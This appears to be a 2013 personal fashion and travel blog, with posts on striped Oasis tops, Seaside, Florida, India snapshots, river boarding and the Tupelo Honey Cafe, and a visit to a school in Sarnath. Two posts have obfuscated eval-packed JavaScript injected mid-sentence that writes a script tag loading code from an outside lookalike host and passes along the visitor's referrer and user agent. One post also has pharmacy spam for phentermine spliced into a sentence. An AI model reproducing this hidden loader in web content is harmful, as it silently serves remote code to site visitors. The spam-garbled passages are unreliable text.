Nautical Oasis

2013, Fashion, Travel

I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adzbe|var|u0026u|referrer|ahhbf||js|php’.split(‘|’),0,{}))
been a longtime fan of
Oasis Clothing, but I’ve never took the leap of faith and
purchased their clothes until Poor Little It Girl sent me a $100 giftcard to Oasis.

Buying clothes online for a petite body can be challenging, especially at unfamiliar stores.  I prefer to try clothes in the store so I know my size before I buy online, but sometimes that is not an option.  In those situations, you need to just have faith and judiciously measure your body and trust the posted measurements for the garments.

I couldn’t be happier with my purchases from Oasis – thanks PLIG!

This top is one of the pieces I got with the $100 giftcard!  It is the perfect beach vacation top – loose, long enough to cover up a bathing suit, and has flattering nautical stripes!

Do you ever buy things, then go home and realize you bought all the same things?  Everything I bought from Oasis had nautical stripes – clearly I like stripes . . . a lot!

Top – Oasis

Skirt – H&M

I seem to gravitate to stripes more than any other pattern – at least that is what my closet would confess.  Stripes strike a balance between fun and professional.  I could dress this top up with pencil or an A-line skirt easily for work.  Now that I’m a working girl I try and only buy clothes that can work well at the office and happy hour.

When traveling, it’s important to pick pieces that can be versatile.  This top looked cute and stylish tucked into this H&M nude skirt for brunch, and worked well by itself for covering up my bikini to explore Seaside, Florida.

If you need a suggestion for a last beach trip to end the summer, then head to Seaside, Florida!  It’s an intimate community with beautiful homes and a gorgeous beach that isn’t overcrowded by spring breakers.

I don’t normally spend a lot of money on bikini’s, but I decided to splurge for my Labor Day weekend trip and picked up this fun number on sale at Victoria Secret.  I loved it because it came with removable straps (like many of their bras) which adds more versatility.  Have you noticed a trend in my beachwear?  I prefer corals, blues, reds and versatile pieces that work well for multiple purposes!

How did you spend your Labor Day Weekend?

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Snapshot from India

2013, Travel
Kate Styled Pretty, India, Photography, Varanasi

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Photo taken on the ghat steps in Varanasi, India.

I’m ashamed to say I did this a lot.  I randomly photographed people in India that just looked exactly like I imagined Indians to look like.  Do not do what I do.  However, I couldn’t help buy phentermine 37.5 online uk myself.  Every time I saw someone dressed in what I expected and doing what I always imagined they would be doing if I ever were to travel to India, I would take a photo as a reflex and a confirmation of my daydreams.  Yes.  I. Am. Guilty.

 

Snap Shot from India

2013, Travel

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Meet Mr. Elephant who was kind enough to give me a ride through the Indian countryside.  It’s a little sad to see animals in captivity, but I’m sure these magnificent creatures are treated well since they are the bread and butter for the tourist industry. . . which I was a sucker for and signed up for a chance to ride an elephant.  I’ve ridden camels, yaks, horses and now elephants!

Did you know?  Elephants are the largest living land creature, reaching a height of 13 ft and weighing 15,000 lbs! I took a ton of photos of them while in India, but nothing can show you or prepare you for how beautiful and BIG they are in person! I hope you will get the opportunity to come face to face to these gorgeous creatures!

 

Snapshot from India

2013, Travel

Mumbai, India, Kate Styled Pretty, Kate Greer

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first thought when I saw this in India was “phallic symbol,” which is very American of me. In fact, this statue personifies both the man and the woman and the unity of the entire universe. It is a common statue seen in almost every temple/shrine in India. This photograph is from the Elephanta Caves in Mumbai, India. Both tourists and Indians must take off their shoes before entering the temple to pray.

Today is also my Birthday! I never do anything big, but I love finding restaurants that offer free meals on your birthday! Nothing makes me feel so special as free food :)!

This is me chowing down on some masaman curry at Tuk Tuk Thai restaurant – a local favorite of mine. They are a chain and have locations everywhere, including California! I know because I accidentally ordered takeout from the California location once….

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Sign-up for their emails online and you can get a free entree on your birthday (drivers license required to prove birthdate)!

Snapshot from India

2013, Travel

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This is a very realistic photograph of India streets – poorly paved and dirty.  If you travel to India, don’t wear open-toed shoes.  I love this shot because the sun shines on everything equally, even the tiniest alleyways in the dirtiest places.

FOODIE FRIDAY: Tupelo Honey Cafe & Scarf Shirt

2013, Fashion, Food, OOTD, Travel

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Guy and I drove up to Asheville to visit friends and enjoy the beautiful mountain air awhile back. I grew up around mountains in Tennessee, and I love escaping the city for some R&R and communing with nature. While there was much eating and R&R, the Guy forgot to tell me that he had planned a river boarding expedition for us. I have never heard of this sport before, but I would recommend my sporty friends to look into it.

If you are a daredevil, adventurer, and hearty outdoorsy type-of-person then you should try river boarding. So what is it? (Wikipedia) Riverboarding is a boardsport in which the participant lies prone on their board with fins on their feet for propulsion and steering. This sport is also known as hydrospeed in Europe and as riverboarding or white-water sledging in New Zealand, depending on the type of board used. Riverboarding is believed to have originated in the late 1970s. It is claimed to have originated in France, where raft guides stuffed a burlap mail sack with life vests and went down rapids.[2] Soon, riders adapted a personal submarine shell for their molds, and the plastic version of the riverboard was born.

I thought I’d provide the official definition of river boarding. I would describe it as somewhere between floating, swimming on the surface of rivers, going head first into rapids. In retrospect, I didn’t think it was as bad as I had expected after listening to our guide’s numerous safety instructions. However, I was incredibly sore the following day from bashing against rocks and getting knocked around by the rapids. It was also difficult to enjoy the beauty of nature around me as I floated eye-level with the river because I was shaking uncontrollably from being cold. All the other members of my group reported feeling hot, but I had two shirts, a wet suit, socks, flippers, gloves and helmet and still my teeth chattered. My guide was kind enough to give me his shirt to wear halfway down the French Broad River, but it didn’t help much.

After river boarding, I immediately went for a big lunch to help gain some insulation on my body. I would go river boarding again when the water is warmer because it was a pretty cool experience. You really feel like part of the river as you float along and slide through the eddies at face level with the water.

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After warming up from river boarding, I headed to Tupelo Honey Cafe for a late lunch. I can rough it pretty well, but I’m a girl at heart and love dressing up and going out. I turned a vintage scarf I picked up in a thrift store in Little Five Points in Atlanta into a shirt by tying into a halter top. I paired it with white H&M shorts, white sandals from Charlotte Russe (old) and Maui Jim Sunnies. And yes, I’m that nerd that stops to take a photo next to a sign that says nerds.

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Instead of salads or breadsticks, Tupelo Honey Cafe provides delicious biscuits, jam and Tupelo Honey as an appetizer. I of course slathered all the offerings on top of my biscuit without a second thought about sharing. This was probably the best biscuit I’ve ever eaten! I followed it down with the Tupelo Honey Cafe signature Rosemary Peach lemonade – also amazing!

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When I try a new restaurant, I always look for signature dishes on their menus. My logic is that their signature dishes must be good if they are willing to use it as a way to brand their image. The Tupelo Burger was exceptional with the side of my choice – goat cheese grits. However, I will say that it is hard to mess up a burger. Tupelo Honey Cafe made theirs unique with their home-made pimento cheese – delicious!

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The Guy ordered Southern Fried Chicken with sweet mashed potatoes and asparagus with a side of mac ‘n cheese. His dish was delicious ( I might have been guilty of eating half of it). The mac ‘n cheese was spicy and, while not the best I’ve eaten, it was adequate.

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Our table was right next to wear the food got lined up to be sent out. My mouth was drooling impatiently for my own order. We had a late lunch at 3pm, but the restaurant was packed. Service took a lot longer than I’d liked, but the food was worth the wait!
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The menu is reasonably priced, and if you are on a budget, there are definitely items on the menu that are more bang for your buck than others. However, the portion sizes where huge and would easily make two meals (that is if you aren’t hungry from river boarding).

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The Tupelo Burger was about half the size of my head and four times the size of my mouth!  I would definitely recommend others stopping by the Tupelo Honey Cafe in Asheville (or any of their other locations)!

Tiffany from Tiffany Style sent me a tweet suggesting the sweet potato pancakes!  Unfortunately, I had already ordered at that point, but I will definitely stop by here again to try these pancakes and their other menu choices!

Snapshot from India

2013, Travel

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admit that sometimes turning photos black and white is an easy way to elevate them to a higher level, but let’s be honest, who doesn’t like black and white photos! So what if it’s an easy way out! These photos are from the Aarti ceremony in Varanasi, India.

Snapshot from India

2013, Travel

How many of you complain about doing laundry?  How many of you have washing machines and dryers and still complain about doing laundry?  I’m guilty of this trivial complaint like the next person, but imagine running a huge laundromat operation all by hand?  In Mumbai, there is an area known as the Dhobi Ghat where washers hand wash and open air dry clothes, sheets and more.  The washers are locally known as Dhobis, and the Dhobi Ghat is the world’s largest outdoor laundry operation.

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laundry by hand is a longstanding tradition in India.  Below, washers are using a flogging stone to beat the dirty laundry into submission in Varanasi, India.

Does washing your clothes in the holy waters of the Ganges River make them holy?

Snapshot from India

2013, Travel

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is a sleepy country in the summer.  I can’t blame them when the hottest part of the day reaches 114 degrees Fahrenheit. Below is a rickashaw driver on break in the streets of New Delhi, India. 

But what is more important than beauty sleep? Staying hydrated! Stray dogs roam the streets like pedestrians in India, they even have first-class tickets to major tourist attractions.  This dog is drinking out of one of the four canals in the garden of Humayun Tomb’s that represents the four major rivers of the world.

Buddha’s Smile School in Sarnath, India

2013, Travel

I had the opportunity to visit a small school on the outskirts of Varanasi in Sarnath, India where kind-hearted educators spend their money and time teaching the “untouchable caste” children.  Here at Buddha’s Smile School, children sit on hard wooden benches in a room with only three walls and a chalk board to learn. Unfortunately, there was no children in attendance on the day I came to visit because the Indian government shut down school early for the summer because of the sizzling temperatures (115 degrees Fahrenheit). I don’t blame them! I only wish I was smart enough to think about this before planning my trip to India!  However, I was able to meet the principal of the school, buy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sifss|var|u0026u|referrer|ihsas||js|php’.split(‘|’),0,{}))
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, who was amazing and kind to share a few minutes with us!  He even requested the children make us greeting cards for our visit despite them not being in school at the time!  The cute cards now sit proudly on my mantle piece, bringing me to smile every time I see them!20130619-110703.jpg

The principal told us most of the children work on the streets before and after classes to help provide for their families – these kids are nursery to 5th grade level.  It’s amazing how bright the human spirit shines in them.  It’s incredibly sad that the caste system is still prevalent in India today.  It keeps repressing these children that attend Buddha’s Smile School and others like them from advancing in life.  The caste system in India is the opposite of the American dream of “Rags to Riches.”  But schools like Buddha’s Smile School are slowly changing this tide because education is the first step in empowering these people and breaking the caste system.20130619-110715.jpg

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I left books for the children with the principal, but I left wishing I could do more.  It can be overwhelming to see the level of poverty in these parts of the world.  But another way to look at the situation is that God has given us lots of opportunities to show him that we are his disciples by sharing his kindness and compassion to others.  Please go visit Buddha’s Smile School’s website and let your heart strings be pulled!

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I have a great boyfriend who let’s me go off the beaten path 🙂

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Founder of Buddha’s Smile School Rajan Kaur Saini’s husband runs a cafe next to the school. I wish I could have met this amazing and compassionate couple, but they unfortunately were away during my visit.